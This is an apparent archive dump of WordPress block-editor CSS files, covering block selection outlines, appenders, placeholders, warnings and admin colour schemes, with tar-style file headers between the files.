[class^=components-]{-webkit-user-select:text;user-select:text}.is-block-moving-mode.block-editor-block-list__block-selection-button{font-size:1px;height:1px;opacity:0;padding:0}.block-editor-block-list__layout .block-editor-block-list__block{overflow-wrap:break-word;pointer-events:auto;position:relative;-webkit-user-select:text;user-select:text}.block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{pointer-events:none;-webkit-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{z-index:1}.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{margin:-10px 0 12px}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{margin:0 0 12px;width:100%}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice{margin-left:0;margin-right:0}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{font-size:13px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning{min-height:48px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{pointer-events:none;-webkit-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{pointer-events:all}.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{background-color:hsla(0,0%,100%,.4);border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{background-color:transparent}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay:after{display:none}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay:after{display:block}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{float:none}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered{cursor:default}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:after{border-radius:1px;bottom:1px;box-shadow:0 0 0 1px var(--wp-admin-theme-color);content:"";left:1px;pointer-events:none;position:absolute;right:1px;top:1px}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{cursor:default}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{cursor:unset}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected:after{border-radius:2px;bottom:1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:1px;pointer-events:none;position:absolute;right:1px;top:1px}.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){opacity:.2;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){transition-delay:0s;transition-duration:0s}}.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{opacity:1}.wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{z-index:21}.wp-site-blocks>[data-align=left]{float:left;margin-right:2em}.wp-site-blocks>[data-align=right]{float:right;margin-left:2em}.wp-site-blocks>[data-align=center]{justify-content:center;margin-left:auto;margin-right:auto}.block-editor-block-list .block-editor-inserter{cursor:move;cursor:grab;margin:8px}@keyframes block-editor-inserter__toggle__fade-in-animation{0%{opacity:0}to{opacity:1}}.wp-block .block-list-appender .block-editor-inserter__toggle{animation:block-editor-inserter__toggle__fade-in-animation .1s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.wp-block .block-list-appender .block-editor-inserter__toggle{animation-delay:0s;animation-duration:1ms}}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{display:none}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block .block-editor-block-list__block-html-textarea{border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;line-height:1.5;margin:0;outline:none;overflow:hidden;padding:12px;resize:none;transition:padding .2s linear;width:100%}@media (prefers-reduced-motion:reduce){.block-editor-block-list__block .block-editor-block-list__block-html-textarea{transition-delay:0s;transition-duration:0s}}.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-list__block .block-editor-warning{position:relative;z-index:5}.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{margin-bottom:auto}.block-editor-iframe__body{transform-origin:top center;transition:all .3s}.is-vertical .block-list-appender{margin-left:12px;margin-right:auto;margin-top:12px;width:24px}.block-list-appender>.block-editor-inserter{display:block}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block.has-block-overlay{cursor:default}.block-editor-block-list__block.has-block-overlay:before{background:transparent;border:none;border-radius:2px;content:"";height:100%;left:0;position:absolute;top:0;width:100%;z-index:10}.block-editor-block-list__block.has-block-overlay:not(.is-multi-selected):after{content:none!important}.block-editor-block-list__block.has-block-overlay:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset}.block-editor-block-list__block.has-block-overlay.is-reusable:hover:not(.is-dragging-blocks):not(.is-multi-selected):before,.block-editor-block-list__block.has-block-overlay.wp-block-template-part:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{background:rgba(var(--wp-block-synced-color--rgb),.04);box-shadow:0 0 0 1px var(--wp-block-synced-color) inset}.block-editor-block-list__block.has-block-overlay.is-selected:not(.is-dragging-blocks):before{box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset}.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{pointer-events:none}.block-editor-iframe__body.is-zoomed-out .block-editor-block-list__block.has-block-overlay:before{left:calc(50% - 50vw);width:100vw}.block-editor-block-list__layout .is-dragging{background-color:currentColor!important;border-radius:2px!important;opacity:.05!important;pointer-events:none!important}.block-editor-block-list__layout .is-dragging::selection{background:transparent!important}.block-editor-block-list__layout .is-dragging:after{content:none!important}.block-editor-block-preview__content-iframe .block-list-appender{display:none}.block-editor-block-preview__live-content *{pointer-events:none}.block-editor-block-preview__live-content .block-list-appender{display:none}.block-editor-block-preview__live-content .components-button:disabled{opacity:1}.block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{display:none}.block-editor-block-variation-picker .components-placeholder__instructions{margin-bottom:0}.block-editor-block-variation-picker .components-placeholder__fieldset{flex-direction:column}.block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset{max-width:90%}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:flex-start;list-style:none;margin:16px 0;padding:0;width:100%}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li{flex-shrink:1;list-style:none;margin:8px 20px 0 0;text-align:center;width:75px}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li button{display:inline-flex;margin-right:0}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation{padding:8px}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label{display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:12px;line-height:1.4}.block-editor-block-variation-picker__variation{width:100%}.block-editor-block-variation-picker__variation.components-button.has-icon{justify-content:center;width:auto}.block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary{background-color:#fff}.block-editor-block-variation-picker__variation.components-button{height:auto;padding:0}.block-editor-block-variation-picker__variation:before{content:"";padding-bottom:100%}.block-editor-block-variation-picker__variation:first-child{margin-left:0}.block-editor-block-variation-picker__variation:last-child{margin-right:0}.block-editor-button-block-appender{align-items:center;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;display:flex;flex-direction:column;height:auto;justify-content:center;width:100%}.block-editor-button-block-appender.components-button.components-button{padding:12px}.is-dark-theme .block-editor-button-block-appender{box-shadow:inset 0 0 0 1px hsla(0,0%,100%,.65);color:hsla(0,0%,100%,.65)}.block-editor-button-block-appender:hover{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);color:var(--wp-admin-theme-color)}.block-editor-button-block-appender:focus{box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.block-editor-button-block-appender:active{color:#000}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child{pointer-events:none}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after{border:1px dashed;border-radius:2px;bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter{visibility:hidden}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after{border:none}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter{visibility:visible}.block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{border:none}.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{background-color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px hsla(0,0%,100%,.65);color:hsla(0,0%,100%,.65);transition:background-color .2s ease-in-out}@media (prefers-reduced-motion:reduce){.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{transition:none}}.block-editor-default-block-appender{clear:both;margin-left:auto;margin-right:auto;position:relative}.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{outline:1px solid transparent}.block-editor-default-block-appender .block-editor-default-block-appender__content{opacity:.62}:where(body .is-layout-constrained) .block-editor-default-block-appender>:first-child:first-child{-webkit-margin-before:0;margin-block-start:0}.block-editor-default-block-appender .components-drop-zone__content-icon{display:none}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;border-radius:2px;color:#fff;height:24px;min-width:24px;padding:0}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{line-height:0;position:absolute;right:0;top:0}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled,.block-editor-default-block-appender .block-editor-inserter:disabled{display:none}.block-editor-block-list__block .block-list-appender{bottom:0;list-style:none;padding:0;position:absolute;right:0;z-index:2}.block-editor-block-list__block .block-list-appender.block-list-appender{line-height:0;margin:0}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{height:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{background:#1e1e1e;box-shadow:none;color:#fff;display:none;flex-direction:row;height:24px;min-width:24px;padding:0!important;width:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{display:none}.block-editor-block-list__block .block-list-appender:only-child{align-self:center;line-height:inherit;list-style:none;position:relative;right:auto}.block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{display:block}.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{display:flex}.block-editor-default-block-appender__content{cursor:text}.block-editor-block-list__layout.has-overlay:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:60}.block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button{margin-bottom:0}.block-editor-media-placeholder__url-input-form{display:flex}.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{border:none;border-radius:0;flex-grow:1;margin:2px;min-width:200px;width:100%}@media (min-width:600px){.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{width:300px}}.block-editor-media-placeholder__url-input-submit-button{flex-shrink:1}.block-editor-media-placeholder__button{margin-bottom:.5rem}.block-editor-media-placeholder__cancel-button.is-link{display:block;margin:1em}.block-editor-media-placeholder.is-appender{min-height:0}.block-editor-media-placeholder.is-appender:hover{box-shadow:0 0 0 1px var(--wp-admin-theme-color);cursor:pointer}.block-editor-plain-text{border:none;box-shadow:none;color:inherit;font-family:inherit;font-size:inherit;line-height:inherit;margin:0;padding:0;width:100%}.rich-text [data-rich-text-placeholder]{pointer-events:none}.rich-text [data-rich-text-placeholder]:after{content:attr(data-rich-text-placeholder);opacity:.62}.rich-text:focus{outline:none}.rich-text:focus [data-rich-text-format-boundary]{border-radius:2px}.block-editor-rich-text__editable>p:first-child{margin-top:0}figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{opacity:.8}[data-rich-text-script]{display:inline}[data-rich-text-script]:before{background:#ff0;content:""}.block-editor-warning{align-items:center;background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;display:flex;flex-wrap:wrap;padding:1em}.block-editor-warning,.block-editor-warning .block-editor-warning__message{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.block-editor-warning .block-editor-warning__message{color:#1e1e1e;font-size:13px;line-height:1.4;margin:0}.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{min-height:auto}.block-editor-warning .block-editor-warning__contents{align-items:baseline;display:flex;flex-direction:row;flex-wrap:wrap;justify-content:space-between;width:100%}.block-editor-warning .block-editor-warning__actions{align-items:center;display:flex;margin-top:1em}.block-editor-warning .block-editor-warning__action{margin:0 8px 0 0}.block-editor-warning__secondary{margin:auto 0 auto 8px}.components-popover.block-editor-warning__dropdown{z-index:99998}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/block-editor/default-editor-styles-rtl.css000064400000001450151202620300016406 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } body{ --wp--style--block-gap:2em; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:18px; line-height:1.5; } p{ line-height:1.8; } .editor-post-title__block{ font-size:2.5em; font-weight:800; margin-bottom:1em; margin-top:2em; }css/dist/block-editor/default-editor-styles-rtl.min.css000064400000001317151202620300017172 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}body{--wp--style--block-gap:2em;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:18px;line-height:1.5}p{line-height:1.8}.editor-post-title__block{font-size:2.5em;font-weight:800;margin-bottom:1em;margin-top:2em}css/dist/block-editor/content.css000064400000074635151202620300013047 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .block-editor-block-icon{ align-items:center; display:flex; height:24px; justify-content:center; width:24px; } .block-editor-block-icon.has-colors svg{ fill:currentColor; } @media (forced-colors:active){ .block-editor-block-icon.has-colors svg{ fill:CanvasText; } } .block-editor-block-icon svg{ max-height:24px; max-width:24px; min-height:20px; min-width:20px; } .block-editor-block-styles .block-editor-block-list__block{ margin:0; } @keyframes selection-overlay__fade-in-animation{ 0%{ opacity:0; } to{ opacity:.4; } } :root .block-editor-block-list__layout::selection,:root .has-multi-selection .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{ background-color:transparent; } .block-editor-block-list__layout{ position:relative; } .block-editor-block-list__layout:where(.block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)){ border-radius:2px; } .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{ background:transparent; } .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{ animation:selection-overlay__fade-in-animation .1s ease-out; animation-fill-mode:forwards; background:var(--wp-admin-theme-color); border-radius:2px; bottom:0; content:""; left:0; opacity:.4; outline:2px solid transparent; pointer-events:none; position:absolute; right:0; top:0; z-index:1; } @media (prefers-reduced-motion:reduce){ .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{ animation-delay:0s; animation-duration:1ms; } } .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{ box-shadow:none; } .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected{ outline:none; } .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{ border-radius:1px; bottom:1px; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); content:""; left:1px; outline:2px solid transparent; pointer-events:none; position:absolute; right:1px; top:1px; z-index:1; } .is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff; } .block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:after{ border-radius:2px; border-top:4px solid #ccc; bottom:auto; box-shadow:none; content:""; left:0; pointer-events:none; position:absolute; right:0; top:-14px; transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear; z-index:0; } .block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected:after{ border-color:var(--wp-admin-theme-color); } .has-multi-selection .block-editor-block-list__layout{ -webkit-user-select:none; user-select:none; } .block-editor-block-list__layout [class^=components-]{ -webkit-user-select:text; user-select:text; } .is-block-moving-mode.block-editor-block-list__block-selection-button{ font-size:1px; height:1px; opacity:0; padding:0; } .block-editor-block-list__layout .block-editor-block-list__block{ overflow-wrap:break-word; pointer-events:auto; position:relative; -webkit-user-select:text; user-select:text; } .block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{ pointer-events:none; -webkit-user-select:none; user-select:none; } .block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{ z-index:1; } .block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{ margin:-10px 0 12px; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{ margin:0 0 12px; width:100%; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice{ margin-left:0; margin-right:0; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{ font-size:13px; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning{ min-height:48px; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{ pointer-events:none; -webkit-user-select:none; user-select:none; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{ pointer-events:all; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{ background-color:hsla(0,0%,100%,.4); border-radius:2px; bottom:0; content:""; left:0; position:absolute; right:0; top:0; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{ background-color:transparent; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay:after{ display:none; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay:after{ display:block; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{ box-shadow:0 0 0 1px var(--wp-admin-theme-color); } .block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{ float:none; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered{ cursor:default; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:after{ border-radius:1px; bottom:1px; box-shadow:0 0 0 1px var(--wp-admin-theme-color); content:""; left:1px; pointer-events:none; position:absolute; right:1px; top:1px; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{ cursor:default; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{ cursor:unset; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected:after{ border-radius:2px; bottom:1px; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); content:""; left:1px; pointer-events:none; position:absolute; right:1px; top:1px; } .is-focus-mode .block-editor-block-list__block:not(.has-child-selected){ opacity:.2; transition:opacity .1s linear; } @media (prefers-reduced-motion:reduce){ .is-focus-mode .block-editor-block-list__block:not(.has-child-selected){ transition-delay:0s; transition-duration:0s; } } .is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode 